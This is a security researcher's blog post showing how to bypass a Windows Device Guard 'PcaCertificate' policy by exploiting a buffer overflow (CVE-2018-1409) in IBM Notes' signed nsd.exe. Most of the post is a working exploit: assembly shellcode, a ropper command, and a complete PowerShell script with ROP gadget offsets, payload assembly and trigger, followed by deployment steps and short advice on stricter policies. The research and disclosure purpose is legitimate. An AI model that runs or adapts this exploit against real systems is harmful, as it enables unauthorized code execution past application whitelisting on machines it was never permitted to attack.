2018-04-24 11:37 | Lasse Trolle Borup

Device Guard and PcaCertificate, part 2

In my last post, I demonstrated how to use signed Python distributions to bypass a Device Guard policy created with the “PcaCertificate” level. The demonstration covered the certificate “VeriSign Class 3 Code Signing 2010 CA”, a very common sight in certificate chains of signed software. However, the “Symantec Class 3 SHA256 Code Signing CA” certificate looks equally common, so it would be nice to have a bypass method for policies including this certificate also. In this post, I will show how to use a vulnerable executable signed with this certificate in its signing chain to bootstrap the loading of unsigned executables.

The candidate

First, a vulnerable executable signed with “Symantec Class 3 SHA256 Code Signing CA” in its chain is needed. I recently reported some vulnerabilities in IBM Notes, an application where the executables in at least version 9.01FP9 are signed with this CA in its signing chain. Some of the vulnerabilities are DLL hijackings and won’t be suitable for this use case, as our unsigned DLL’s would not pass Device Guards policy check. But some of the vulnerabilities are basic buffer overflows, which are exactly what we need.

In the following, I will describe the steps I took to use one of these vulnerabilities, CVE-2018-1409, to deploy unsigned code under a Device Guard policy allowing code signed with “Symantec Class 3 SHA256 Code Signing CA” in its signing chain. CVE-2018-1409 is originally a privilege escalation vulnerability triggered via memory shared by a SYSTEM process, but the buffer overflow can also be triggered from the command line directly, simplifying the exploit for our purposes. The vulnerable executable is nsd.exe with an md5 checksum of 826E896C53157C50B40C596C7CE13E9A. You will have to acquire your own copy of this executable, for example from the trial version of IBM Notes. You also have to get the supporting DLL’s, dbghelp_x86_v6.8.40.dll and msvcr100.dll, both signed by Microsoft.

nsd.exe Properties

I will take the following steps to load an unsigned DLL with this application:

  1. Write some shellcode to bootstrap a reflective loader.
  2. Create a rop chain, as we have to make our shellcode executable before reaching it.
  3. Find the base address of our chosen rop image to account for ASLR.
  4. Generate the payload based on the base address of the DLL and trigger the exploit.


I found it most simple to write a short shellcode stub to load and run a larger payload. The larger payload can then be a self-contained reflective loader generated with sRDI as in my last post. The initial shellcode stub looks like the following, after I have replaced instructions containing zero-bytes with some strcpy() friendly instructions. The code is responsible for mapping the larger payload file in memory and executing it. I am using a hardcoded string of “const”, borrowed from the DLL I use to rop in, as the name for the larger shellcode file. The offset of this string and the used imports are just temporary values, as the proper values are written by the script that deploys the shellcode.

[BITS 32]
PUSH EAX          
ADD EBX, 0x40
ADD EBX, 0x40
PUSH 0x3          ; OPEN_EXISTING
PUSH EAX          
PUSH EAX          
ADD EAX, 0x1
PUSH 0x6666666    
MOV ESI, 0x6666666
CALL EAX          ; CreateFile
PUSH EBX          
PUSH EBX          
PUSH EBX          
PUSH 0x40         ; RWX
PUSH EBX       
PUSH EAX          ; HANDLE
MOV ESI, 0x6666666 
CALL EAX          ; CreateFileMapping
MOV ESI, 0x6666666 
CALL EAX          ; MapViewOfFile
JMP EAX           ; Jump to newly loaded shellcode

Rop chain

I have based my rop chain on a VirtualProtect chain generated by the rop finder ropper.py with the following command:

ropper -f dbghelp_x86_v6.8.40.dll --chain virtualprotect -b 00

The generated chain had a few faulty gadgets, but I found some replacements that did the trick. The final rop chain is documented in the Powershell script below.

Deploying with Powershell

To avoid having nsd.exe create an unsightly MessageBox because of some missing files, I start by writing two files called “notes.ini” and “cmd.txt” to the current directory. The files contain some minimal setup that keeps nsd.exe happy and quiet.

To learn the address of the image I base my rop chain on, I first start the nsd.exe process, wait a bit to make sure it has the image loaded, and then get the base address of the image. In my original exploit for this vulnerability, I loaded the DLL in my own process, but Constrained Language Mode does not allow me to do this. Also, as 64-bit Powershell does not include 32-bit DLLs in its Get-Process result, you have to run the script with the 32-bit Powershell executable located in %SystemRoot%\syswow64\WindowsPowerShell.

The next problem is assembling the rop chain in Constrained Language Mode. As I need to do this dynamically, I face some issues with the lack of APIs for messing around with bytes. This accounts for some of the weirder parts of the script, like the creation of a file just to append some byte arrays, and the function that converts addresses to byte arrays.

The final script looks like this:

Function addrtobytes{
[byte[]]$ret = ([uint32]$args[0] -shl 24 -shr 24) , ([uint32]$args[0] -shl 16 -shr 24) , ([uint32]$args[0] -shl 8 -shr 24) , ([uint32]$args[0] -shr 24)
$path = (Get-Item -Path ".\" -Verbose).FullName
set-content -path "notes.ini" -value "[Notes]`nDirectory=$path"
set-content -path "cmd.txt" -value "SLEEP 40`n"

$p = start-process -filepath nsd.exe -argumentlist "-cmdfile cmd.txt" -passthru -WindowStyle Hidden

sleep 10
$base =  ($p.Modules | Where-Object {$_.modulename -eq "dbghelp_x86_v6.8.40.dll"}).baseaddress
kill $p
$cf = $base + 0x10fc     # address of CreateFile
$cfm = $base + 0x10d4    # address of CreateFileMapping
$mvf = $base + 0x10d8    # address of MapViewOfFile
$const = $base + 0xb0cc  # address of string "const"
$gad1 = $base + 0xde1c6  # sub edx, 0xc ; cmp eax, edx ; xor al, al, pop esi, retn
$gad2 = $base + 0x679dd  # pop ecx ; ret
$gad3 = $base + 0x114c   # address of VirtualProtect
$gad4 = $base + 0xb08a8  # mov eax, dword ptr [ecx] ; ret
$gad5 = $base + 0x368f6  # xchg eax, esi ; ret
$gad6 = $base + 0x68bca  # pop ebx ; ret
$gad7 = $base + 0x11778  # pop edx ; ret
$gad8 = $base + 0x68e5e  # add edx, ebx ; pop ebx ; ret 0x10
$gad9 = $base + 0x8c88f  # pop eax ; ret
$gad10 = $base + 0x17b5a # pop ebp ; ret
$gad11 = $base + 0xbcdc  # jmp esp
$gad12 = $base + 0x99205 # inc ebx ; add al, 0x8b ; ret
$gad13 = $base + 0x99205 # inc ebx ; add al, 0x8b ; ret
$gad14 = $base + 0x679dd # pop ecx ; ret
$gad15 = $base + 0xeb004 # 4
$gad16 = $base + 0x8be6f # pop edi ; ret
$gad17 = $base + 0x7730  # retn
$gad18 = $base + 0xc029b # pushal ; add al, 0 ; ret

[byte[]]$sc = 0x31, 0xC0, 0x50, 0x31, 0xDB, 0x83, 0xC3, 0x40, 0x83, 0xC3, 0x40, 0x53,0x6A, 0x03, 0x50, 0x50, 0x83, 0xC0, 0x01, 0xC1, 0xC8, 0x04, 0x50, 0x68 
$sc = $sc + (addrtobytes $const)  
$sc = $sc + 0xBE 
$sc = $sc + (addrtobytes $cf)
$sc = $sc + 0x8B, 0x06, 0xFF, 0xD0, 0x31, 0xDB, 0x53, 0x53, 0x53, 0x6A, 0x40, 0x53, 0x50, 0xBE
$sc = $sc + (addrtobytes $cfm) 
$sc = $sc + 0x8B, 0x06, 0xFF, 0xD0, 0x31, 0xDB, 0x53, 0x53, 0x53, 0x6A, 0x3F, 0x50, 0xBE
$sc = $sc + (addrtobytes $mvf) 
$sc = $sc + 0x8B, 0x06, 0xFF, 0xD0,	0xFF, 0xE0

$trigger = "-excludedprocesses " + 'a' * 0x114

[byte[]]$rop = (addrtobytes $gad1)
$rop = $rop + 0x64 , 0x64 , 0x64 , 0x64 , 0x64 , 0x64 , 0x64 , 0x64
$rop = $rop + (addrtobytes $gad2)
$rop = $rop + (addrtobytes $gad3)
$rop = $rop + (addrtobytes $gad4)
$rop = $rop + (addrtobytes $gad5)
$rop = $rop + (addrtobytes $gad6)
$rop = $rop + 0x01 , 0x01 , 0x01 , 0x01 
$rop = $rop + (addrtobytes $gad7)
$rop = $rop + 0x3f , 0xff , 0xfe , 0xfe
$rop = $rop + (addrtobytes $gad8)
$rop = $rop + 0xff , 0xff , 0xff , 0xff 
$rop = $rop + (addrtobytes $gad9)
$rop = $rop + 0xff , 0xff , 0xff , 0xff 
$rop = $rop + 0xff , 0xff , 0xff , 0xff 
$rop = $rop + 0xff , 0xff , 0xff , 0xff 
$rop = $rop + 0xff , 0xff , 0xff , 0xff 
$rop = $rop + 0x7a , 0x90 , 0x90 , 0x90 
$rop = $rop + (addrtobytes $gad10)
$rop = $rop + (addrtobytes $gad11)
$rop = $rop + (addrtobytes $gad12)
$rop = $rop + (addrtobytes $gad13)
$rop = $rop + (addrtobytes $gad14)
$rop = $rop + (addrtobytes $gad15)
$rop = $rop + (addrtobytes $gad16)
$rop = $rop + (addrtobytes $gad17)
$rop = $rop + (addrtobytes $gad18)

set-content -path "payload" -value $trigger -NoNewline
add-content -path "payload" -value $rop -encoding byte -NoNewline
add-content -path "payload" -value $sc -encoding byte -NoNewline
$payload = get-content -path "payload" 

start-process -filepath nsd.exe -argumentlist $payload -passthru -WindowStyle Hidden

To deploy, copy nsd.exe, dbghelp_x86_v6.8.40.dll and msvcr100.dll to a folder on the target. Create a reflective loader with sRDI as in my last post, name it “const” and deploy it in the same folder. Start a 32-bit Powershell process and run the script from this folder. All the steps can of course be automated and executed as a Powershell oneliner to fit your operational needs.


Creating a proper policy when deploying application whitelisting is important. The more specific the policy gets, the harder it is to bypass. This does not imply that a lax policy is useless, as it will still block an unprepared attacker and severely limit the usability of some exploit types like DLL hijacking.

Until recently, Microsofts Device Guard deployment guide suggested the “PcaCertificate” level when creating policies. This level will be inadequate for most deployments. If you have already deployed using this level, consider creating a new policy. If you are about to deploy a new policy, make sure to keep revisiting the guide, as it is constantly evolving.

Edit, April 25: Microsoft updated the guide again, and unfortunately it's back to using "-Level PcaCertificate".

In some of my next posts, I will look into Microsoft signed executables that can be used to bypass a broader range of policies including the ones created with the updated guide.


PcaCertificate is not very useful, fortunately Microsoft has changed their deployment guide to use another level.

Contact us

+45 5364 8009

[email protected]

Kigkurren 8N 4th floor, 2300 Copenhagen S

Consulting | Training | News

© 2020 Danish Cyber Defence A/S · Kigkurren 8N 4th floor · 2300 Copenhagen S · CVR 38871064